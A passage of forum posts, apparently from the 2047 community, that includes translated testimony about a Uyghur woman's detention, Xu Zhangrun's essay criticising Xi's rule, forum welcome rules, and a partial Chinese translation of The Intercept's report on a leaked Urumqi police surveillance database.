    根据中国政府在新疆的政策,被拘留的维吾尔族和其他原住民的孩子通常会被送到由汉族经营的孤儿院或寄宿学校。玛依拉的近亲,包括她的前夫,因为怕激怒当局官员,没有一个人敢收养她的小孩。但是,当干部们准备带孩子走时,孩子们的恳求令我的父母拒绝了当局的安排。“他们从小就没爸,现在连妈也没有了”,我母亲说,“就让他们和我们一起住吧。”

    我的父母在向中国政府宣誓效忠后,得到了孩子的临时监护权。从那时起,每当有干部敲门,或有政府组织打电话,或有警察突然到来,我的父母就心急如焚。任何官员似乎都有权将维吾尔族儿童从其亲属身边带走。我的父亲坚持认为马伊拉很快就会被释放。在许多个夜晚,他坐在院子里的凳子上,直到午夜,等待为玛依拉开门。在最初那段时间,我的母亲试图劝说他上床睡觉,但他继续等待。

    2019年8月,马伊拉第二次被捕后,我母亲接到了国内安全局的电话。警察指示她在家里等候,不告诉她原因。我母亲担心他们是来抓她(进集中营)的。她给我发了一条泣不成声的告别信息,然后穿上了七条内衣,两个胸罩和两条长裤。官员们像往常一样不敲门就进屋,径直穿过院子,抓住我母亲,把她塞进车里,然后开车离开。几分钟后,我在瑞典醒来,才在手机上听到她痛苦的告别。我恨自己没有早点醒,即便实际上什么也做不了。她在数千英里之外,但将我们隔开的,似乎只这一块厚厚的玻璃,于是我可以不断地看到我的父母在我无法触及的地方受尽煎熬。从那天早上开始,我一直把手机放在我身边,在浴室、厨房、花园,在我工作的时候都在我身边。我把它调到最大音量,并不断检查我是否错过了一个电话。

    在她被带走两个小时之后,我收到了她的视频电话。她的脸上满是汗水,说话时喘着粗气。“亲爱的,我很好,别担心。但我现在快要中暑了,要把这些衣服脱掉一些。”当她把电话放在一边时,镜头朝上,我认出了老家天花板上的图案,想起我当时还是一个孩子,每次过节前的不眠之夜,躺在床上用目光跟随那些图案的轮廓。我母亲再次出现,告诉我警察再次审问了她关于我表妹的事情。“‘亲戚’每次问的都是一样的问题”,她说道,“亲戚”指的是那些干部们。“问完就放我走了。”

    说到她穿了这么多衣服,我们都笑了。“当时他们把马伊拉带走,最开始几个月完全不准换衣服,也不让她洗澡,”我母亲解释说。“她跟我说过,‘在那里最难忍受的事情是饥饿,以及没有干净的内衣。’”

    我一直不确定我表妹被囚禁的细节。马伊拉第一次获释后,在微信上给我打电话,跟我说,他们在拘留所里让她挨饿,被关押十个月后,她被诊断为肝脏受损(译者注:张展/刘晓波综合症)。在她第二次被释放那天晚上,她又给我打电话,让我转告她父母,她还活着。那是一个视频电话,我可以清楚地看到她的肋骨,将近17个月的食物匮乏把她变成了一具骨架。结果第二天早上,警察再次拘留了她,软禁了我的父母,并没收了马伊拉的生活储蓄。

    于是我开始在推特上报道马伊拉的案件,并接受《华盛顿邮报》、CNN和其他国际新闻机构的采访。我希望中国政府为了避免负面的新闻报道而释放她。在过去的一年半里,中国之外的人对中国到底有没有对维族实施种族灭绝进行了无休止的辩论,因为维吾尔族的妇女正忍受着强制节育/绝育政策,其民族文化也逐渐消失。去年,国际刑事法院拒绝对中国镇压维吾尔人的行为进行调查,称其缺乏管辖权。在英国,一个由学者、律师和商人组成的非官方的独立法庭(译者注:Uyghur Tribunal,维吾尔族法庭)成为维吾尔族侨民的希望焦点,一位名叫杰弗里-尼斯的英国律师与其他专家一起主持了诉讼程序,他曾在联合国战争罪法庭上领导了对塞尔维亚前总统斯洛博丹-米洛舍维奇的起诉。中国政府则从一开始就拒绝了这项调查。

    今年春天,我以及其他30名证人被传唤出庭。在我出庭之前,6月,其他人曾作证说他们在拘留期间受到了酷刑、强奸或绝育。我担心他们描述的种种折磨可能已经发生在马伊拉身上,如果我现在出庭作证,这些折磨也可能会发生在我的父母和马伊拉的孩子身上。在出庭作证之前,我惊慌失措地给一个朋友打电话,大声哭诉,“只要一个命令,他们就可以把我的父母关起来,可以把她的孩子带走,可以惩罚我们所有人,在玛依拉的刑期上增加几年。所以这么多维吾尔族人都保持沉默。为什么我要开口?”

    但中国政府已经知道我会出庭作证,现在向恐惧低头已经太晚。而且现在我已经是一名瑞典公民,比绝大多数维吾尔人更没有害怕的借口。

    中国政府对法庭的反应也出乎我的意料,在其他证人作证两天后,一名干部将我母亲传唤到他们的办公室,允许她与玛依拉进行四十秒的视频聊天。玛伊拉的头发被剃光了,她的脸上有斑驳的黑点,她的身旁有两个卫兵。她对我母亲说:“请照顾好我的孩子。我很抱歉,给你们带来了负担。”视频会议结束后,这位干部对我母亲说“告诉你女儿,马伊拉还活着。”

    我母亲把发生的事情打电话告诉了我。我能想象出一个警卫在给马伊拉剃头,头发落到她的肩上。我的恐惧消失了。我在6月7日的听证会上作了证。我清楚地知道,中国政府正在网上观看直播。我尽量平静地说话,描述我的表妹如何将钱转给她在澳大利亚的父母,帮助他们买房,然后在迷宫般的拘留营中失踪。“中国已经成功地摧毁了我的家庭,他们正在对整个新疆维吾尔自治区的其他数十万个家庭采取同样的做法。”我说,奇怪的是,我已经不再恐惧。“这是一个系统性的计划,目标是要摧毁维吾尔族社区、其人民和其文化。我请求在座各位:把它称为种族灭绝。”30个小时后,中国官员通知澳大利亚外交官,马伊拉被关押在古尔邦的一所女子监狱中。马伊拉住在澳大利亚的妹妹两年来第一次被告知她姐姐的下落。

    维吾尔族法庭于12月9日作出裁决。它认为,中国政府对维吾尔族犯下了种族灭绝和反人类罪。它说,中国政府使用强制节育、绝育的做法,“有意摧毁”维吾尔族人口中的“相当大的一部分”,符合国际法规定的种族灭绝定义。判决出来之后,我在赫尔辛堡的厨房里倒了一杯酒,希望能把判决结果告诉玛依拉。为一个种族灭绝的判决而庆祝,真的是一件很残酷的事情。

    在伦敦,中国大使馆嘲笑这个法庭和它的调查结果。"'法庭'及其所谓的'结论'只是反华分子为自娱自乐而上演的拙劣表演,"该大使馆声称。"任何有良知和理性的人都不会被欺骗或愚弄。" 大多数国家仍然对中国对维吾尔人民的暴行保持沉默。我的父母仍然被软禁。玛依拉的三个孩子仍然和我的父母一起生活。我的父亲仍然在院子里等到半夜,他怕如果他不这样做,万一玛伊拉有一天敲门,会被他错过。


    Nyrola Elimä is a researcher for the Helena Kennedy Centre at Sheffield Hallam University in the United Kingdom. She lives in Helsingborg, Sweden.

  44. 47小管家   在小组 2047 发表文章

    【新用户报到帖】欢迎加入2047!

    (这是之前的报道帖内容)

    【新用户在此报到】聊聊你们是怎么发现2047的或者为什么决定加入?

    新注册用户请在这里简单介绍一下自己,谈谈你们是通过什么渠道发现2047的, 或者聊聊你们为什么决定加入,想在2047这做什么或者看到什么?也可以你提问题,管理员尽量回答。

    总之随便聊聊,给别人一个为你点赞的机会。被点赞之后你的信用分会提高,发言上限会增加。

    请勿暴露自己的身份/位置信息, big brother is watching you! 但如果你已经非常确定要展示自己的身份和位置,我们也不会反对

    ⚠️请务必阅读该Tip⚠️:不要只是简简单单的写一句话哦~一段精心准备的文字更加容易被大家点赞!或朴实简单,或辞藻华丽,尽量做到言之有物,可以让大家更好的认识你😆

    报道后请阅读:

    我是electron8964, 借用admin的公众账号,在水区置顶此贴,目的是欢迎新用户光临。

    是不是觉得上面这行字很熟悉@electron8964 早就离开了新品葱,现在他是2047管理员,欢迎大家继续找他玩😆

    从2021年9月27日开始,所有一周内注册的新用户,必须先在此处新人报道,才可以到其他地方发表评论。

    各位来自五湖四海的朋友:

    你们好,我是本站站长 @thphd

    我们希望来到本站的每一位用户,都能够真诚、友善地与他人沟通交流。

    为了更好地确保这一点,将各种骚扰、破坏行为隔离在社区之外,从2021年11月5日起,每个新注册用户必须先到此帖下报道,然后才能回复他人的帖子。发主题帖不受此限。

    请您在此贴下,以回复的形式,作一段不少于50字的自我介绍。

    在自我介绍中,您可以谈谈:

    • 您了解2047的渠道、加入2047的原因
    • 您学习、工作的经历
    • 您擅长的技能
    • 您创作的作品
    • 您喜欢吃的食物
    • 您对最近发生的新闻事件的看法

    请避免暴露自己的身份/位置信息, big brother is watching you! 当然如果你已经非常确定要展示自己的身份/位置,我们也不会反对。

    管理员及其他用户看到您的自我介绍之后,会给您点赞。

    只要被管理员点赞一次,您就可以在论坛其他地方自由发言了。如果管理员暂时不在线,请稍微耐心等待,或者通过 element/matrix 与管理员及其他用户取得联系。

    11月5日新规出台前发表的报道帖大多不足50字,特此注明。

  45. 47小管家   在小组 2047 发表文章

    【纽约书评】许章润新文:Xi’s China, the Handiwork of an Autocratic Roué(待翻译)

    没找到中文原文,故只能二次转译,英文翻译刊登在著名的《纽约书评》

    许章润的新书《庚子十劄》已于2021年8月4号出版


    原文链接:https://www.nybooks.com/daily/2021/08/09/xis-china-the-handiwork-of-an-autocratic-roue/

    Xu Zhangrun, translated by Geremie R. Barmé

    Xu Zhangrun, formerly a professor of jurisprudence at Tsinghua University, is a writer who lives in Beijing. Since August 2020, he has been a non-residential Associate in Research at the Fairbank Center for Chinese Studies at Harvard University.

    Geremie R. Barmé is a fellow at the Center on US–China Relations, the Asia Society, New York, and is the editor of China Heritage. His books include The Forbidden City (Wonders of the World) and An Artistic Exile: A Life of Feng Zikai (1897–1975).

    Of course, the regime has rained down punishments on me for my criticisms; I expected that. It only exposes its inherent fragility and unfitness for the modern world.

    August 9, 2021


    Translator's Note: Xu Zhangrun was, until last year, a professor of jurisprudence at Beijing's Tsinghua University, one of China's most prestigious colleges. A celebrated lecturer and author of numerous works on the law, he was a noted essayist, and also the editor of a major series of books on legal reform.

    In July 2018, Xu published "Imminent Fears, Immediate Hopes," a point-by-point critique of the policies of Xi Jinping's government. Since then, he has been subjected to relentless persecution---his life's work has been outlawed, his online presence deleted, and his career destroyed. Dismissed by Tsinghua in 2020, stripped of his pension, housing, and teaching credentials, Xu now lives in a book-filled apartment in the far western suburbs of Beijing, getting by on his savings. He is forbidden from leaving the city or accepting help from friends.

    In February this year, Geng Xiaonan, a noted cultural activist and Xu's most outspoken supporter, was sentenced to three years jail in a far-flung women's penitentiary. Tried on charges related to her publishing business, few observers doubt that the real reason for her punishment was her advocacy on behalf of Xu Zhangrun and other dissidents.

    Even with numerous sound-sensitive CCTV cameras trained on his apartment, and regardless of continued abuse and interrogations, Xu persists in his writing. His latest book, Ten Chapters from a Plague Year, has just appeared through an independent Chinese publisher in New York.

    The following essay, adapted and edited in translation, was written to mark the third anniversary of the publication of "Imminent Fears, Immediate Hopes."

    --- Geremie R. Barmé


    In March 2018, the Chinese legislature approved revisions to the constitution that effectively put an end to the already minimal political advances achieved following the economic reform policies originally introduced by the Communist Party in late 1978. Although the revisions [which abolished term limits on national leaders, making it possible for President Xi Jinping to stay in power indefinitely] unsettled China's legal world, the outrage was expressed sotto voce; the disquiet barely went beyond what in the Soviet Union used to be called "kitchen table talk."

    Meanwhile, in public, a host of obsequious legal scholars vied to offer fawning praise for the new dispensation. Seemingly unabashed as they betrayed previous held views, they gave no hint of any internal moral struggles or sense of ambivalence about their conversion. Quite the opposite: many appeared to relish the fact that they were able to navigate the situation so adroitly. Instead, they focused their energies on how they could best realign themselves and pursue professional advancement.

    At this crucial juncture, China's political, business, and academic elites revealed a core of craven self-interest and vacuous hypocrisy. The display was even further evidence of the degraded state of our nation's public life, one that has long been characterized by brazen political opportunism, systemic corruption, and the celebration of populist thuggery.

    Various edicts were issued from on high that banned all public discussion, let alone disapproval, of the constitutional changes. The authorities made it quite clear that dissent would be severely punished. In particular, legal scholars were cautioned to keep their own counsel.

    At the time these changes were being proposed, I bumped into a colleague from Tsinghua University who had long enjoyed a seat on the National People's Congress [the legislative body that would soon rubber-stamp the constitutional reforms]. He was quick to tell me that he, too, was outraged by the mooted changes. They were, he assured me, indeed absurd, an egregious act of revanchism. In the same breath, he said: "But I'm just letting off steam. Of course, when the time comes to vote, I'll be raising my hand along with everyone else. No one is crazy enough to paint a target on their back."

    His attitude was evidently shared by a majority of the men and women who had a substantive say in the matter [with the revision passing by 2,958 votes to two]. Fear drove them to come up with various rationalizations for their actions, and so our country is now under the sway of a Great Reversal. This came to pass not in stealth, but openly and with the acquiescence and complicity of China's intelligentsia. Their stance has proved to be little different from that of the imperial slave-subjects of yesteryear; it has hastened China's lurch back into the familiar old rut of totalitarianism. What has all of this wrought? It is more than evident: we now live in a nation beset by mounting domestic and external challenges.

    I believe that legal scholars like me are akin to a priesthood that serves natural law, rather than merely justifying the requirements of the state. We should be the guardians of a system of justice based on due process, one that ensures equality before the law; a system that is underpinned by the conviction that all citizens can and should feel secure in an environment of unthreatened coexistence. That is why, in 2018, I decided that to remain silent at such a critical moment would be a betrayal of my life's work. If even people like me shied from speaking out at such a time, what hope was there for Chinese society?

    My belief that it was incumbent upon educators like me to give voice to their indignation and concern publicly led me to write "Imminent Fears, Immediate Hopes," an in-depth analysis and critique of the state of modern China. It was in a mood of immense relief that I published it online in late July 2018; I had acted out of a duty to speak up and my hope was that my words would reach as wide an audience as possible. I even dared to think that what I had said might embolden others to raise their voices.

    "Imminent Fears, Immediate Hopes" was a warning to my compatriots, alerting them to things that were happening right here and now. It was an appeal calling on people to protect China's reforms---hard-won advances derived from the immense sacrifices that countless numbers of our fellow citizens had made over four decades. It was also an exhortation to people to do what they could to prevent China's further backward slide, one that I believe might all too easily lead to a new civil war. My admonition was also born of the anxiety that China could yet again find itself isolated by the international community.

    Naturally, my essay was an open challenge to the powers-that-be, and I knew full well that by publishing it, I was courting disaster. Yet I was at peace with myself, and awaited with equanimity what fate had in store for me. As expected, the punishments rained down on me with increasing severity until, in the summer of 2020, the authorities finally bared their teeth.

    They resorted to the tried-and-true methods of the proletarian dictatorship: they destroyed my livelihood and they incarcerated me. They hoped to repress my heresy by crushing my spirit. The only thing that they have managed to do, however, is to turn me into a semi-exile under partial house arrest in my own land. I was mentally prepared for all of this, and all that I had expected has duly been visited upon me. I regret nothing.

    What does dismay me, however, is that since I published "Imminent Fears, Immediate Hopes," everything I feared might happen has come to pass, and new evidence in support of my case emerges every day. The "Eight Fears" that I identified in July 2018 are now a reality. In the space of three short years, particularly after the Covid-19 pandemic, the totalitarian tendencies of the Chinese party-state have become more evident. What was already an obnoxious oligarchy has now been replaced by a Chinese version of the Fü**hrerprinzip, along with a brutal form of purge politics based on the Leninist-Maoist model.

    Populist statism and institutional statism have become intertwined and now aid and abet what I have previously called "Big Data Totalitarianism." In tandem with this, mainstream global politics have undergone profound changes in recent years. On the international stage, the politics of the "war on terror" is giving way to a new anti-Communist animus aimed at China. Previously, the People's Republic enjoyed a collaborative and relatively harmonious relationship with the international community. That has seen a sea change as many nations have radically revised their views of our country and the direction it is taking. By generating imaginary enemies in all quarters, China is further isolating itself, even if the vast scale of the People's Republic will ensure its continued international influence, at least for the time being.

    As for my "Eight Hopes," they remain nothing more than wishful thinking.

    Today, China is yet again confronting a question that has long bedeviled it: Where do we go from here? As the Covid-19 pandemic gradually passes---and along with that crisis, the justification for the heightened totalitarian approach the government has employed to deal with it---China will, I believe, once more see support for a republican constitutional system that enjoys the benefits of a resilient and vital democracy.

    I recall that in early 2020 the political philosopher Slavoj Žižek argued that the best way for the world to respond to the Covid-19 pandemic was to implement a version of "war communism." Such wrongheaded sophistry suggested a cure to a medical crisis that would merely serve to open the door to a far more insidious infection of the body politic. Žižek's summons to totalitarian politics is nothing less than an invitation to disaster. His proposal was absurd, ill-conceived, and delusional.

    I have often referred to China's party-state governance model as "Legalist-Fascist-Stalinism." The rulers overwhelmingly concentrate on what are traditionally called the "Rivers and Mountains"; this [imperial concept] is their patria. When confronted by such questions as "What power have you got? Where did you get it from? In whose interests do you use it? To whom are you accountable? And how do we get rid of you?" the Chinese system is struck dumb, unable to respond.

    More to the point, it is a system completely lacking the kind of democratic processes that can ensure a peaceful transfer of power. Without a stable political process of succession, the fate of the nation ultimately relies on armed might and coercion. In the final analysis, the authoritarian party-state system stands in stark opposition to historical progress, to human love, and to normal political life. That is why, to this day, it enjoys no real popular appeal.

    Above, I observed that China has lurched back into "the familiar old rut of totalitarianism." Despite appearances, the Communist Party has never veered far from that path. Its fundamental nature has remained unchanged and, whenever it has weathered a crisis, the Party merely redoubles its efforts. Whatever it may achieve is always hamstrung by the energy it puts into denying all other political possibilities and by its dogged refusal to evolve. The obdurate pursuit of power and the insatiable appetite for self-approval have created a system that, at its heart, is paranoid and brittle. By treating the people as nothing more than objects that demand a constant regime of stability maintenance, or even as enemies that must be corralled, it further drives itself into a cul-de-sac.

    For well over a decade, China has seen an ostentatious kind of performance that I think of as "The Politics of the Successor Playboys." It has been dominated by two scions of the Party nobility.First [during the ascendancy of Bo Xilai], there was a parade of comely policewomen in the cities of Dalian and in Chongqing, as well as the "Red Songs and Black Attack" movement [a neo-Maoist campaign supported by Bo, active from 2009 to 2012]. For his part, Xi Jinping has devoted considerable energy to pursuing vanity projects, like his so-called toilet revolution [to improve public bathrooms], and launching a series of policies aimed at cleaning up the country's urban aesthetics. These include a concerted effort to demolish unsightly buildings and force low-income residents out of prime city real estate, and a raft of regulations aimed at standardizing shop signs and eliminating displeasing overhead wires and cables. Even the dead have not been spared his zeal, and farmers are now forbidden to exercise the traditional practice of burying deceased family members on their own land. So strictly do local officials enforce this ban that they seize and burn handcrafted coffins.

    Then there is all the hue and cry about the "One Belt, One Road" initiative and the much-vaunted policy of eliminating extreme poverty, something that was supposedly carried out according to a predetermined timetable. All of these appear, superficially at least, to be major achievements that reflect a purportedly daring political vision. In reality, they are symptomatic of a particular brand of political willfulness; they are a modern-day version of Mao's revolutionary romanticism. More than anything, they are smug displays of delusional hubris.

    As ever-new projects and vanity policies are pursued with immoderate enthusiasm, we are actually witnessing the handiwork of an autocratic roué. The accumulated political, social, and economic bounty that was painstakingly acquired since 1978, one that carried in its wake the promise of a modicum of political evolution, has been squandered. Now we are seeing the reckless depletion of the remaining reserves of China's reform era.

    This is further proof that for a nation to play a meaningful part in the modern international world, it is insufficient to revel in possessing an almighty state with limitless political power. What is necessary is the building of a civilized society and a political system that is underpinned by a meaningful culture of law. There is no escaping the fact that nations need a form of politics grounded in a constitutional order. By that, I mean a modern constitutional framework that protects the freedom and human rights of its citizens. In the present era, this is still the best path for any truly rational society.

    To advocate on behalf of such a system is not merely a self-serving and pragmatic response to historical inevitability; rather, if China is to hope for collective political salvation, it is a necessity. China and the Chinese people lack a truly resilient political system; we are instead burdened with one that, despite its formidable appearance, is inherently fragile. It is threatened to its core by every tempest.

    Meanwhile, we must cope with our anxieties as best we can, holding on to what inspiration we can. Even as this age of darkness advances, I know that regardless of my benighted circumstances, my soul rises up, confident in humanity's better future.

  46. 47小管家   在小组 2047 发布问题

    【六四32周年祭】你心目中印象最深的六四图像

    征集要求:

    1. 图像与六四有关,可以是照片,漫画或戏仿,但绝不能恶搞

    2. 每个用户最多挑选3张,最好给出理由

    3. 请不要与楼上图片重复


    致敬自由与反抗的象征——Tank Man

  47. 47小管家   在小组 2047 发表文章

    纽约客最新长报道:出新疆记 Surviving the Crackdown in Xinjiang(翻译已完成)

    A woman struggles to free herself amid detentions and surveillance of China’s Uyghurs and Kazakhs.

    一个女孩逃离新疆重获自由的故事。

    原文:https://www.newyorker.com/magazine/2021/04/12/surviving-the-crackdown-in-xinjiang

    As mass detentions and surveillance dominate the lives of China’s Uyghurs and Kazakhs, a woman struggles to free herself.

    By Raffi Khatchadourian April 5, 2021

    感谢@solids的辛苦工作!

    [NewYorker] Surviving the Crackdown in Xinjiang


    2047字幕组其他关于新疆的翻译作品:

  48. 47小管家   在小组 温暖人心的小茶屋 发表文章

    🙅🏻‍♀️诚🙅🏻扰

    恋爱不容易,应该有个角落可以发泄情绪,发一些不甜蜜的,取向不明确的,等等等等...

    倒序看楼

  49. 47小管家   在小组 2047 发表文章

    纽约客长报道:Inside Xinjiang’s Prison State(翻译已完成)

    原文:https://www.newyorker.com/news/a-reporter-at-large/china-xinjiang-prison-state-uighur-detention-camps-prisoner-testimony

    Survivors detail the scope of China’s campaign of persecution against ethnic and religious minorities.

    By Ben Mauk

    Art by Matt Huynh


    纽约客团队历时一年多制作的沉浸式长报道,原文设计精美,鼓励大家阅读原文。

    共分为序幕,第一、二、三、四、五章节,尾声。

    • Chapter 1 - The New Frontier (新边疆)

    • Chapter 2 - Becoming Family (结对认亲)

    • Chapter 3 - Reëducated (再教育)

    • Chapter 4 - The Misfortune (命运)

    • Chapter 5 - Graduated (毕业了)

    感谢 @solids 的辛勤付出,向您致敬!

  50. 47小管家   在小组 2047 发表文章

    数百万份泄密警方档案,揭示中国政府对维吾尔族窒息式的监控(已完成,待润色)

    REVEALED: MASSIVE CHINESE POLICE DATABASE

    Millions of Leaked Police Files Detail Suffocating Surveillance of China’s Uyghur Minority

    The Intercept (拦截社)

    2017年6月26日,在中国西部新疆维吾尔自治区喀什市的伊德卡清真寺,一名警察在穆斯林到达开斋节晨祷时站岗。Photo: Johannes Eisele/AFP via Getty Images

    原文:https://theintercept.com/2021/01/29/china-uyghur-muslim-surveillance-police/

    命令是从新疆地区最大城市乌鲁木齐的一个警务自动化系统发出的。系统下发了一份报告——地方当局称之为"情报信息判断"——报告称,一名据称是极端分子的女性家属收到了一个免费前往云南的机会(译者注:也可能是指被邀请去云南参加自由行,此处lost in translation)。

    这名女子是在微信上的一个叫做“旅行者”的群里得到邀请的。群内的民族和家庭关系引起了当局的高度关注;群成员包括维吾尔族、哈萨克族和吉尔吉斯族等穆斯林少数民族,他们说的语言除了中国最主要的语言——普通话之外,还有其他语言。命令指出:“该群内有200多个讲少数民族语言的用户”、“他们中的许多人是被(再教育营)囚禁者的亲属。近期大量情报报告显示,这些[极端分子]家属有聚集的倾向,必须引起高度重视。收到信息后请立即展开调查,查明组织“免费旅游(自由行)”的人的背景、动机以及活动的内部细节。”

    位于历史悠久的市中心附近的乌鲁木齐市西河坝分局警方接到了这个命令,并在2018年一份报告中总结了他们对这件事的处理情况。因为这个命令而被抓捕的是一名维吾尔族人,他之前没有任何犯罪记录,从未听说过那个微信群,甚至从未在中国境内(译者注:指内陆省份)旅游过。警方在报告中写道,他 "行为良好,我们没有发现任何可疑"。不过,他的手机还是被没收了,送到了警方的 "网络安全组",同时社区被要求对他进行 "控制和监督",也就是说,政府会指派一名信得过的干部成员定期到他家去看望。有关他的记录被录入警方的警务自动化系统。

    报告显示,警方对该男子进行了调查,并指派党员干部对其进行 "控制和监督",纯粹是因为他最年长的姐姐5个月前参与的宗教活动。根据警方的记录,她和丈夫邀请了乌鲁木齐的另一对维吾尔族夫妇加入了QQ上的一个宗教讨论群。那对夫妇购买了一台笔记本电脑,每天早上7点到晚上11点半登录该群;其中丈夫停止了吸烟和喝酒,妻子则开始穿更长的衣服。报告称他们在笔记本电脑上收听 "宗教极端主义信息"。在这两对夫妇之间,警方找到了168个被认定为非法的宗教音频文件,这很可能是因为这些文件与一个称为“Tablighi Jamaat”的伊斯兰运动有关,该运动主张按照先知穆罕默德在世时的做法来实践伊斯兰教。(译者注:即原教旨主义)

    姐姐和姐夫下落不明——报告里只是简单提到他们被转移到另一个警察局。另一对夫妇则被送进再教育营。

    关于这项调查的细节,是本社在获取到的一个庞大的警务数据库中发现的,该数据库是由私人防务公司Landasoft开发的一种报告工具软件生成的,该软件被中国政府用于为警方监控新疆公民提供便利。

    该数据库以乌鲁木齐为中心,包含了能够证实并提供关于该地区迫害及大规模关押穆斯林的更多细节的警务报告。它进一步地向我们揭示了一场镇压运动,包括在私人家中安装摄像头,建立大规模拘留营,儿童被强行与家人分离并被安置在有电栅栏的学前班,对维吾尔墓地有组织的破坏,以及有组织地通过强迫堕胎、绝育和节育来压低维吾尔族人的出生率。

    The Intercept获得的数据库包含了中国新疆维吾尔自治区首府和最大的城市于鲁木齐的警方报告。Map: Soohee Cho/The Intercept

    该数据库向我们展示了警方情报档案和社区辅警会议的内幕,以及乌鲁木齐无处不在的检查站(译者注:乌鲁木齐街上到处都是检查站,路人要搜包查身份证)的运作情况。它还详细介绍了对边缘群体的电话、网络和财务监控,展示了所谓打击极端主义的精细化监控往往只是在观察宗教活动。此外,该数据库还阐明了中国当局如何分析和完善他们收集的信息,包括如何剔除由警方和公民提交的、用于夸大统计数据的"填鸭式"情报线索,并使用自动警务软件帮助进行调查,比如上面提到的对微信旅游群的调查。

    在该数据库披露的信息中,提到了一种插入手机并下载其内容的工具——"反恐利剑",它被使用得太过频繁,以至于中国当局有些担心它会破坏与少数民族群众的关系。

    数据库显示,当局在跟踪观察他们的各项政策对降低清真寺出席率的效果。它还提供证据证明,当局坚称只是一项健康政策的 "全民体检" 生物识别采集计划,实际上是治安维稳系统的一部分。它还量化并提供了在新疆进行的大规模数字监控的细节,包含数百万条短信、电话拨号记录和联系人名单,同时还有银行记录、手机型号和运营商数据,顺便还提到了对微信以及网络购物和银行流水的监控。

    该数据库还揭示了新疆的治安执法和拘留的严重程度。它详细说明了那些曾经出国并申请政治庇护的原中国公民是如何被标注为恐怖分子的。特别是在有些案例中,被送去再教育营关押的人似乎被判处了固定长度的有期徒刑——这让中国政府之前一直坚持的“关押期限取决于思想改造/接受职业培训的进度”的说法遭到重大打击。

    2018年11月6日,新疆乌鲁木齐市主要集市的一座清真寺外部安装了监控摄像头。Photo: Bloomberg via Getty Images

    合在一起,这些材料形成了一个宽阔的视野,向我们展示了在新疆部署的大规模监控系统是如何相互配合并压迫少数民族居民的,以及它们对该地区每天日常生活造成了怎样的巨大影响。

    "总的来讲,这些材料坐实了一个令人瞠目结舌的警察国家——一个动不动就怀疑那些没有真正做错任何事情的人的国家,"专注于新疆和西藏问题研究的人类学家阿德里安-赞兹(Adrian Zenz)说。

    人权观察组织(HRW)中国高级研究员玛雅-王(Maya Wang)说,因为微信旅行群而发起的调查,为这种高强度的治安维稳提供了一个生动具体的案例。"你都能感受到其中的糊涂思维,居民平白无事就被投进监狱,同时流程又是如此武断。"

    这次披露着重体现了近年来的技术进步,如智能手机、廉价的数码摄像头和大容量云存储,在人权问题被忽视的时候,是如何被结合起来用于监控和镇压大批民众的。新疆作为这方面最先进的试验场为整个世界敲响了警钟。

    王研究员表示,"新疆的大规模监控对我们所有人来说都是一个警示,新疆真正说明了隐私是一个门槛权利,换言之如果你没有隐私,那你作为一个人的所有自由就都没有了。你没有信仰宗教的权利,你没有按照自己的意思生活的权利,你甚至没有思考自己想法的权利,因为你的想法被连续不断的刺探分析出来,被不管是手动还是自动的平台和系统彻夜不断的监控,时刻不断地考验你对政府的忠诚度。"

    Landasoft和中国外交部没有回应本社的置评请求。

    乌鲁木齐警方数据库揭秘:

    • 中国当局是如何从新疆的穆斯林少数民族那里收集数百万条短信、电话联系、通话记录以及电子商务和银行记录的。

    • 侵入性的监控技术关注热衷宗教崇拜的行为,这些行为通常被等同于极端主义。

    • 有证据表明,根据"全民体检"健康计划收集到的生物识别数据被输入到警方的监控系统中。

    • 警方利用社区线人收集了大量关于乌鲁木齐维吾尔人的信息。

    • 作为防止外国思想"回流"的举措的一部分,向国外申请庇护可能导致被列为恐怖分子。

    乌鲁木齐市公安局中央数据库

    根据本社掌握的情况,该数据库由乌鲁木齐市公安局以及新疆维吾尔自治区公安厅维护和使用。该数据库还包含来自公安部网络安全保卫局的一些部门的文件。

    Landasoft将该数据库背后的软件命名为"iTap(爱监听)",这是它公开销售的一个大数据系统。

    该数据库有52GB,包含2.5亿行数据。它向多个应用程序收集并提供数据,这些应用总共有十几个,包括:

    • 净网卫士:用于监控手机上的文件,跟据报道中国警方曾强迫维吾尔族人安装。

    • 百姓安全:市民和警察都在用,允许市民向当局互相检举揭发。

    • 取证数据管理:它能从微信和Outlook等手机应用中收集所谓的"证据"。

    • 智谱:以图文并茂的界面展示人们的社交关系以及当局对他们的关注程度(数据库中仅有非常稀少的关于智谱的信息)。

    该数据库的一个主要组成部分,是“社区稳定会议”的大量会议记录,在这种所谓的社区稳定会议上,居民出任的社区治安员(本质上是帮助警方维稳的)会讨论过去一周在其所在地区发生的事情。该数据库还包括了各种相关文件,概括了警务和情报方面的重点事项,以及收集的情报摘要、检查的当地设施、访问的被拘留者家属以及社区内有关人员的最新情况。还有每周的情报及拘留报告,其中包括针对情报线索和可疑人员的调查信息。

    该数据库还提到了许多其他工具的信息,这些工具被用于分析数据库中包含的监控数据。比如说,数据库中的一些文件提到了中国政府的一个名叫"一体化联合作战平台"(英文缩写IJOP)的系统。IJOP一直是人权组织广泛关注和讨论的主题,它广泛收集新疆居民的监控数据,对它们进行集中存储,并利用它们自动做出警务决策,这在数据库中被称为"推送",也就是推送通知的意思。按照警务报告的说法,针对“自由行”微信群的调查命令,就是由IJOP下发的。

    其他文件提供了关于使用"三类人"标签的信息,他们被认为是恐怖分子或极端分子,有三种不同程度的严重性。

    数据库本身反复使用一个标记"iXvWZREN"来查询维吾尔族人,将他们与恐怖分子和有前科的罪犯归为一类。没有汉族的标记,汉族是中国的多数民族。

    2018年6月28日,在新疆喀什的一个检查点,电脑显示器上显示着许多人脸。Photo: Yomiuri Shimbun via AP

    乌鲁木齐的监控:从检查站到聊天监控

    (本段已由thphd润色)

    众所周知,新疆的监视范围很广,形成了世界上最大规模监视的地区之一。数据库揭示了这台间谍机器的使用方式,包括监控在当地的实际部署状况(毫不留情),以及它所服务的具体目的(往往是为了遏制任何未经批准的外部影响,不管是伊斯兰教信仰还是外国的各种思想)。人们同时被近距离和远距离监视,有些信息直接从他们的数字设备中提取,其他数据则从窃听器和传感器中收集,还有更多的信息来自社区的亲属和线人。警方的文件以鲜明和咄咄逼人的措辞阐述了针对维吾尔人及其伊斯兰教信仰的运动,对各种来自外部也就是所谓有害影响的偏执被反复地体现。

    数据库中那些最具侵犯性的数据来自于"反恐利剑"手机检查工具。在遍布城市的检查站,警察让人们将手机插入这些来自不同生产厂家的设备。它们会收集手机中的个人数据,包括联系人和短信,还会对照违禁物品清单检查图片、视频、音频文件和文件。它们可以显示微信和短信文本信息。提取到的数据随后会被整合到IJOP中。

